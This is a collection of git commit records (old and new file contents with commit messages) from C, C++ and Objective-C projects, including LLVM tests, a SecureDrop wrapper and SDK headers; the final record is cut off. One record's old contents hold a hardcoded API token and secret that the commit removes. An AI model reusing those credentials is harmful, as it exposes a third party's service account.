{"commit":"17bd549d6a85a90837f56b0374564d6b1a18259a","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void * k);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","subject":"Add missing parameter variable name 'k'","message":"Add missing parameter variable name 'k'\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"b5cc0902de920ae24f8545549dc6cdf342b36628","old_file":"test-seccomp-filter.c","new_file":"test-seccomp-filter.c","old_contents":"","new_contents":"#include <sys\/prctl.h>\n#include <linux\/seccomp.h>\n\nint\nmain(void)\n{\n\n\tprctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, 0);\n\treturn(EFAULT == errno ? 0 : 1);\n}\n","subject":"Add thusfar-unused Linux seccomp filter test.","message":"Add thusfar-unused Linux seccomp filter test.\n","lang":"C","license":"isc","repos":"kristapsdz\/kcgi,kristapsdz\/kcgi"}
{"commit":"7214f0aa8bfbe71e69e3340bda1f2f4411db8ff0","old_file":"cuser\/acpica\/acenv_header.h","new_file":"cuser\/acpica\/acenv_header.h","old_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#ifdef ACPI_FULL_DEBUG\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n","new_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#ifdef ACPI_FULL_DEBUG\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n","subject":"Disable allocation tracking (it appears to be broken)","message":"Disable allocation tracking (it appears to be broken)\n","lang":"C","license":"mit","repos":"olsner\/os,olsner\/os,olsner\/os,olsner\/os"}
{"commit":"4df3463df9e5e50ecab60d9ed1bd969f16d5417b","old_file":"tails_files\/securedrop_init.c","new_file":"tails_files\/securedrop_init.c","old_contents":"#include <unistd.h>\n\nint main(int argc, char* argv) {\n   setuid(0);\n   \/\/ Use absolute path to the Python binary and execl to avoid $PATH or symlink trickery\n   execl(\"\/usr\/bin\/python2.7\", \"python2.7\", \"\/home\/vagrant\/tails_files\/test.py\", (char*)NULL);\n   return 0;\n}\n","new_contents":"#include <unistd.h>\n\nint main(int argc, char* argv) {\n   setuid(0);\n   \/\/ Use absolute path to the Python binary and execl to avoid $PATH or symlink trickery\n   execl(\"\/usr\/bin\/python2.7\", \"python2.7\", \"\/home\/amnesia\/Persistent\/.securedrop\/securedrop_init.py\", (char*)NULL);\n   return 0;\n}\n","subject":"Fix path in tails_files C wrapper","message":"Fix path in tails_files C wrapper\n","lang":"C","license":"agpl-3.0","repos":"mark-in\/securedrop-prov-upstream,mark-in\/securedrop-prov-upstream,mark-in\/securedrop-prov-upstream,mark-in\/securedrop-prov-upstream"}
{"commit":"585cca1d52aa7e082aaa029c585fef8ea6d25d43","old_file":"modules\/example\/seed-example.c","new_file":"modules\/example\/seed-example.c","old_contents":"\/* -*- mode: C; indent-tabs-mode: t; tab-width: 8; c-basic-offset: 2; -*- *\/\n\n\/*\n * This file is part of Seed, the GObject Introspection<->Javascript bindings.\n *\n * Seed is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of\n * the License, or (at your option) any later version.\n * Seed is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n * You should have received a copy of the GNU Lesser General Public License\n * along with Seed.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Copyright (C) Robert Carr 2009 <carrr@rpi.edu>\n *\/\n\n#include <glib.h>\n#include <seed-module.h>\n\nSeedObject\nseed_module_init(SeedEngine * eng)\n{\n  g_print(\"Hello Seed Module World \\n\");\n  return seed_make_object (eng->context, NULL, NULL);\n}\n","new_contents":"\/* -*- mode: C; indent-tabs-mode: t; tab-width: 8; c-basic-offset: 2; -*- *\/\n\n\/*\n * This file is part of Seed, the GObject Introspection<->Javascript bindings.\n *\n * Seed is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of\n * the License, or (at your option) any later version.\n * Seed is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n * You should have received a copy of the GNU Lesser General Public License\n * along with Seed.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Copyright (C) Robert Carr 2009 <carrr@rpi.edu>\n *\/\n\n#include <glib.h>\n#include <seed-module.h>\n\nSeedObject\nseed_module_init(SeedEngine * eng)\n{\n  g_print(\"Hello Seed Module World\\n\");\n  return seed_make_object (eng->context, NULL, NULL);\n}\n","subject":"Remove extraneous space in output","message":"Remove extraneous space in output\n","lang":"C","license":"lgpl-2.1","repos":"danilocesar\/seed,danilocesar\/seed,danilocesar\/seed,danilocesar\/seed,danilocesar\/seed"}
{"commit":"ab870ba01a18e2228b6b9827dba7e5d2b9c7a8ab","old_file":"International\/CIAPIRequest.h","new_file":"International\/CIAPIRequest.h","old_contents":"\/\/\n\/\/  CIAPIRequest.h\n\/\/  International\n\/\/\n\/\/  Created by Dimitry Bentsionov on 7\/4\/13.\n\/\/  Copyright (c) 2013 Carnegie Museums. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AFNetworking.h\"\n\n#define API_BASE_URL @\"http:\/\/guidecms.carnegiemuseums.org\/\"\n#define API_TOKEN    @\"207b0977eb0be992898c7cf102f1bd8b\"\n#define API_SECRET   @\"5b2d5ba341d2ded69a4d6cef387951ad\"\n\ntypedef void (^CIAPIHoursRequestSuccessBlock) (NSArray *hours);\ntypedef void (^CIAPIRequestSuccessBlock) (NSURLRequest *request, NSHTTPURLResponse *response, id JSON);\ntypedef void (^CIAPIRequestFailureBlock) (NSURLRequest* request, NSHTTPURLResponse* response, NSError* error, id JSON);\n\n@interface CIAPIRequest : NSObject {\n    AFJSONRequestOperation *operation;\n}\n\n@property (nonatomic, retain) AFJSONRequestOperation *operation;\n\n#pragma mark - API Methods\n\n- (void)syncAll:(BOOL)syncAll\n        success:(CIAPIRequestSuccessBlock)success\n        failure:(CIAPIRequestFailureBlock)failure;\n\n- (void)sync;\n\n- (void)syncAll;\n\n- (void)getWeeksHours:(CIAPIHoursRequestSuccessBlock)success\n              failure:(CIAPIRequestFailureBlock)failure;\n\n- (void)subscribeEmail:(NSString*)email\n               success:(CIAPIRequestSuccessBlock)success\n               failure:(CIAPIRequestFailureBlock)failure;\n\n@end\n","new_contents":"\/\/\n\/\/  CIAPIRequest.h\n\/\/  International\n\/\/\n\/\/  Created by Dimitry Bentsionov on 7\/4\/13.\n\/\/  Copyright (c) 2013 Carnegie Museums. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AFNetworking.h\"\n\n#define API_BASE_URL @\"http:\/\/guidecms.carnegiemuseums.org\"\n\ntypedef void (^CIAPIHoursRequestSuccessBlock) (NSArray *hours);\ntypedef void (^CIAPIRequestSuccessBlock) (NSURLRequest *request, NSHTTPURLResponse *response, id JSON);\ntypedef void (^CIAPIRequestFailureBlock) (NSURLRequest* request, NSHTTPURLResponse* response, NSError* error, id JSON);\n\n@interface CIAPIRequest : NSObject {\n    AFJSONRequestOperation *operation;\n}\n\n@property (nonatomic, retain) AFJSONRequestOperation *operation;\n\n#pragma mark - API Methods\n\n- (void)syncAll:(BOOL)syncAll\n        success:(CIAPIRequestSuccessBlock)success\n        failure:(CIAPIRequestFailureBlock)failure;\n\n- (void)sync;\n\n- (void)syncAll;\n\n- (void)getWeeksHours:(CIAPIHoursRequestSuccessBlock)success\n              failure:(CIAPIRequestFailureBlock)failure;\n\n- (void)subscribeEmail:(NSString*)email\n               success:(CIAPIRequestSuccessBlock)success\n               failure:(CIAPIRequestFailureBlock)failure;\n\n@end\n","subject":"Remove unused API_TOKEN and API_SECRET","message":"Remove unused API_TOKEN and API_SECRET\n","lang":"C","license":"mit","repos":"CMP-Studio\/cmoa-app-ios,CMP-Studio\/cmoa-app-ios"}
{"commit":"e78b06f28070b1361e76c889ebc815973557aa3c","old_file":"src\/exercise210.c","new_file":"src\/exercise210.c","old_contents":"","new_contents":"\/*\n * A solution to Exercise 2-3 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint16_t lower(int16_t);\n\nint main(void)\n{\n\tint16_t character;\n\twhile((character = getchar()) != EOF) {\n\t\tputchar(lower(character));\n  }\n\treturn EXIT_SUCCESS;\n}\n\nint16_t lower(int16_t character)\n{\n\treturn (character >= 'A' && character <= 'Z') ? character + 'a' - 'A' : character;\n}\n","subject":"Add solution to Exercise 2-10.","message":"Add solution to Exercise 2-10.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"f93edabc6295b37955e27384c650487c4689324d","old_file":"src\/instruction.h","new_file":"src\/instruction.h","old_contents":"#ifndef _INC_INSTRUCTION_H\n#define _INC_INSTRUCTION_H\n\n#include \"basetypes.h\"\n#include <vector>\n#include <map>\n\ntypedef std::vector<byte> ByteString;\n\nclass BaseCPU;\n\nclass Instruction {\npublic:\n    Instruction(ByteString opcode, SizeType instructionLength);\n    virtual void execute(BaseCPU &cpu, const ByteString &params) const = 0;\n    const ByteString opcode;\n    const SizeType length;\n};\n\nclass InstructionSet {\npublic:\n    class InstructionComparator {\n    public:\n        bool operator()(const Instruction &a, const Instruction &b) const {\n            return a.opcode < b.opcode;\n        }\n    };\n\n    int add(const Instruction &instruction);\n    int remove(const ByteString &opcode);\n    MOCKABLE int decode(const ByteString &opcode, const Instruction **out) const;\n    SizeType count() const;\n\nprivate:\n    typedef std::pair<ByteString, const Instruction &> InstructionCode;\n    typedef std::map<ByteString, const Instruction &> Set;\n    typedef Set::iterator Iterator;\n    typedef Set::const_iterator ConstIterator;\n    typedef std::pair<Iterator, bool> Insertion;\n\n    Set set;\n};\n\n#endif\/\/_INC_INSTRUCTION_H","new_contents":"#ifndef _INC_INSTRUCTION_H\n#define _INC_INSTRUCTION_H\n\n#include \"basetypes.h\"\n#include <vector>\n#include <map>\n\ntypedef std::vector<byte> ByteString;\n\nclass BaseCPU;\n\nclass Instruction {\npublic:\n    Instruction(ByteString opcode, SizeType instructionLength);\n    virtual void execute(BaseCPU &cpu, const ByteString &params) const = 0;\n    const ByteString opcode;\n    \/\/ FIXME: Total length is opcode.size() + length?\n    const SizeType length;\n};\n\nclass InstructionSet {\npublic:\n    class InstructionComparator {\n    public:\n        bool operator()(const Instruction &a, const Instruction &b) const {\n            return a.opcode < b.opcode;\n        }\n    };\n\n    int add(const Instruction &instruction);\n    int remove(const ByteString &opcode);\n    MOCKABLE int decode(const ByteString &opcode, const Instruction **out) const;\n    SizeType count() const;\n\nprivate:\n    typedef std::pair<ByteString, const Instruction &> InstructionCode;\n    typedef std::map<ByteString, const Instruction &> Set;\n    typedef Set::iterator Iterator;\n    typedef Set::const_iterator ConstIterator;\n    typedef std::pair<Iterator, bool> Insertion;\n\n    Set set;\n};\n\n#endif\/\/_INC_INSTRUCTION_H","subject":"Add note to fix confusing Instruction lengths","message":"Add note to fix confusing Instruction lengths\n","lang":"C","license":"mit","repos":"aroxby\/cpu,aroxby\/cpu"}
{"commit":"39fdbda361ba08ffd09f7632d88d28f6e7e19ba6","old_file":"include\/llvm\/Analysis\/LiveVar\/LiveVarMap.h","new_file":"include\/llvm\/Analysis\/LiveVar\/LiveVarMap.h","old_contents":"\/* Title:   LiveVarMap.h\n   Author:  Ruchira Sasanka\n   Date:    Jun 30, 01\n   Purpose: This file contains the class for a map between the BasicBlock class\n            and the BBLiveVar class, which is a wrapper class of BasicBlock\n\t    used for the live variable analysis. The reverse mapping can\n\t    be found in the BBLiveVar class (It has a pointer to the \n\t    corresponding BasicBlock)\n*\/\n\n\n#ifndef LIVE_VAR_MAP_H\n#define LIVE_VAR_MAP_H\n\n#include <ext\/hash_map>\n\nclass BasicBlock;\nclass BBLiveVar;\n\n\nstruct hashFuncMInst {  \/\/ sturcture containing the hash function for MInst\n  inline size_t operator () (const MachineInstr *val) const { \n    return (size_t) val;  \n  }\n};\n\n\nstruct hashFuncBB {          \/\/ sturcture containing the hash function for BB\n  inline size_t operator () (const BasicBlock *val) const { \n    return (size_t) val; \n  }\n};\n\n\n\n\ntypedef std::hash_map<const BasicBlock *,  \n                      BBLiveVar *, hashFuncBB > BBToBBLiveVarMapType;\n\ntypedef std::hash_map<const MachineInstr *,  const LiveVarSet *, \n                      hashFuncMInst> MInstToLiveVarSetMapType;\n\n\n#endif\n\n\n","new_contents":"\/* Title:   LiveVarMap.h   -*- C++ -*-\n   Author:  Ruchira Sasanka\n   Date:    Jun 30, 01\n   Purpose: This file contains the class for a map between the BasicBlock class\n            and the BBLiveVar class, which is a wrapper class of BasicBlock\n\t    used for the live variable analysis. The reverse mapping can\n\t    be found in the BBLiveVar class (It has a pointer to the \n\t    corresponding BasicBlock)\n*\/\n\n#ifndef LIVE_VAR_MAP_H\n#define LIVE_VAR_MAP_H\n\n#include \"Support\/HashExtras.h\"\n\nclass MachineInstr;\nclass BasicBlock;\nclass BBLiveVar;\nclass LiveVarSet;\n\ntypedef std::hash_map<const BasicBlock *, BBLiveVar *> BBToBBLiveVarMapType;\ntypedef std::hash_map<const MachineInstr *, const LiveVarSet *> MInstToLiveVarSetMapType;\n\n#endif\n","subject":"Use generic pointer hashes instead of custom ones.","message":"Use generic pointer hashes instead of custom ones.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@1684 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"49237f04a8982e919bce667a47e0024cd0705d60","old_file":"test\/FrontendC\/x86-64-red-zone.c","new_file":"test\/FrontendC\/x86-64-red-zone.c","old_contents":"","new_contents":"\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - > %t\n\/\/ RUN: not grep subq %t\n\/\/ RUN: not grep addq %t\n\/\/ RUN: grep {\\\\-4(%%rsp)} %t | count 2\n\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - -mno-red-zone > %t\n\/\/ RUN: grep subq %t | count 1\n\/\/ RUN: grep addq %t | count 1\n\/\/ This is a test for x86-64, add your target below if it FAILs.\n\/\/ XFAIL: alpha|ia64|arm|powerpc|sparc|x86\n\nlong double f0(float f) { return f; }\n","subject":"Add a FrontendC testcase for the x86-64 Red Zone feature, to help verify that the feature may be disabled through the -mno-red-zone option.","message":"Add a FrontendC testcase for the x86-64 Red Zone feature,\nto help verify that the feature may be disabled through\nthe -mno-red-zone option.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@63079 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"8948e345f5b99784538cac6b305dd78c43e80eb2","old_file":"test\/PCH\/modified-header-error.c","new_file":"test\/PCH\/modified-header-error.c","old_contents":"\/\/ XFAIL: win32\n\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n","new_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n","subject":"Revert r132426; this test passes more often than not, and we don't have a way to mark tests as intermittently failing at the moment.","message":"Revert r132426; this test passes more often than not, and we don't have a way to mark tests as intermittently failing at the moment.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@132446 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"cec1a48a4138035c6c8462c8baaee699addf0ede","old_file":"AVOS\/AVOSCloudLiveQuery\/AVSubscription.h","new_file":"AVOS\/AVOSCloudLiveQuery\/AVSubscription.h","old_contents":"\/\/\n\/\/  AVSubscription.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 15\/05\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AVQuery.h\"\n#import \"AVDynamicObject.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface AVSubscriptionOptions : AVDynamicObject\n\n@end\n\n@interface AVSubscription : NSObject\n\n@property (nonatomic, strong, readonly) AVQuery *query;\n@property (nonatomic, strong, readonly, nullable) AVSubscriptionOptions *options;\n\n- (instancetype)initWithQuery:(AVQuery *)query\n                      options:(nullable AVSubscriptionOptions *)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  AVSubscription.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 15\/05\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"AVQuery.h\"\n#import \"AVDynamicObject.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol AVSubscriptionDelegate <NSObject>\n\n@end\n\n@interface AVSubscriptionOptions : AVDynamicObject\n\n@end\n\n@interface AVSubscription : NSObject\n\n@property (nonatomic, weak, nullable) id<AVSubscriptionDelegate> delegate;\n\n@property (nonatomic, strong, readonly) AVQuery *query;\n@property (nonatomic, strong, readonly, nullable) AVSubscriptionOptions *options;\n\n- (instancetype)initWithQuery:(AVQuery *)query\n                      options:(nullable AVSubscriptionOptions *)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add delegate property for subscription","message":"Add delegate property for subscription\n","lang":"C","license":"apache-2.0","repos":"leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk"}
{"commit":"339d11539a67d2e3c4dce940e364ed7002961377","old_file":"Mac\/Compat\/sync.c","new_file":"Mac\/Compat\/sync.c","old_contents":"\/* The equivalent of the Unix 'sync' system call: FlushVol.\n   Public domain by Guido van Rossum, CWI, Amsterdam (July 1987).\n   For now, we only flush the default volume\n   (since that's the only volume written to by MacB). *\/\n\n#include \"macdefs.h\"\n\nint\nsync(void)\n{\n\tif (FlushVol((StringPtr)0, 0) == noErr)\n\t\treturn 0;\n\telse {\n\t\terrno= ENODEV;\n\t\treturn -1;\n\t}\n}\n","new_contents":"\/* The equivalent of the Unix 'sync' system call: FlushVol.\n   Public domain by Guido van Rossum, CWI, Amsterdam (July 1987).\n   For now, we only flush the default volume\n   (since that's the only volume written to by MacB). *\/\n\n#include \"macdefs.h\"\n\nvoid\nsync(void)\n{\n\tif (FlushVol((StringPtr)0, 0) == noErr)\n\t\treturn;\n\telse {\n\t\terrno= ENODEV;\n\t\treturn;\n\t}\n}\n","subject":"Make the prototype match the declaration in the GUSI header files.","message":"Make the prototype match the declaration in the GUSI header files.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"39cbe6995ca13a4e24850528c16c33a1bd8f39d5","old_file":"vtStor\/CommandHandlerInterface.h","new_file":"vtStor\/CommandHandlerInterface.h","old_contents":"\/*\n<License>\nCopyright 2015 Virtium Technology\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n<\/License>\n*\/\n#ifndef __vtStorCommandHandlerInterface_h__\n#define __vtStorCommandHandlerInterface_h__\n#pragma once\n\n#include <memory>\n\n#include \"ErrorCodes.h\"\n#include \"BufferInterface.h\"\n#include \"ProtocolInterface.h\"\n#include \"vtStorPlatformDefines.h\"\n\nnamespace vtStor\n{\n\n\n\nclass VTSTOR_API cDriveInterface;\n\nclass VTSTOR_API cCommandHandlerInterface\n{\npublic:\n    cCommandHandlerInterface( std::shared_ptr<Protocol::cProtocolInterface> Protocol );\n    virtual ~cCommandHandlerInterface();\n\npublic:\n    virtual eErrorCode IssueCommand( std::shared_ptr<const cBufferInterface> CommandDescriptor, std::shared_ptr<cBufferInterface> Data ) = 0;\n\nprotected:\n    std::shared_ptr<Protocol::cProtocolInterface>   m_Protocol;\n\n};\n\n}\n\n#endif","new_contents":"\/*\n<License>\nCopyright 2015 Virtium Technology\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n<\/License>\n*\/\n#ifndef __vtStorCommandHandlerInterface_h__\n#define __vtStorCommandHandlerInterface_h__\n#pragma once\n\n#include <memory>\n\n#include \"ErrorCodes.h\"\n#include \"BufferInterface.h\"\n#include \"ProtocolInterface.h\"\n#include \"vtStorPlatformDefines.h\"\n\nnamespace vtStor\n{\n    \nclass VTSTOR_API cCommandHandlerInterface\n{\npublic:\n    cCommandHandlerInterface( std::shared_ptr<Protocol::cProtocolInterface> Protocol );\n    virtual ~cCommandHandlerInterface();\n\npublic:\n    virtual eErrorCode IssueCommand( std::shared_ptr<const cBufferInterface> CommandDescriptor, std::shared_ptr<cBufferInterface> Data ) = 0;\n\nprotected:\n    std::shared_ptr<Protocol::cProtocolInterface>   m_Protocol;\n\n};\n\n}\n\n#endif","subject":"Remove declare: class VTSTOR_API cDriveInterface","message":"Remove declare: class VTSTOR_API cDriveInterface\n","lang":"C","license":"apache-2.0","repos":"tranminhtam\/vtStor,tranminhtam\/vtStor,tranminhtam\/vtStor,tranminhtam\/vtStor"}
{"commit":"a981815c88aca37a8dcb42f1ce673ed838114251","old_file":"webkit\/fileapi\/quota_file_util.h","new_file":"webkit\/fileapi\/quota_file_util.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n#define WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n\n#include \"webkit\/fileapi\/file_system_file_util.h\"\n#include \"webkit\/fileapi\/file_system_operation_context.h\"\n#pragma once\n\nnamespace fileapi {\n\nclass QuotaFileUtil : public FileSystemFileUtil {\n public:\n  static QuotaFileUtil* GetInstance();\n  ~QuotaFileUtil() {}\n\n  static const int64 kNoLimit;\n\n  base::PlatformFileError CopyOrMoveFile(\n    FileSystemOperationContext* fs_context,\n    const FilePath& src_file_path,\n    const FilePath& dest_file_path,\n    bool copy);\n\n  \/\/ TODO(dmikurube): Charge some amount of quota for directories.\n\n  base::PlatformFileError 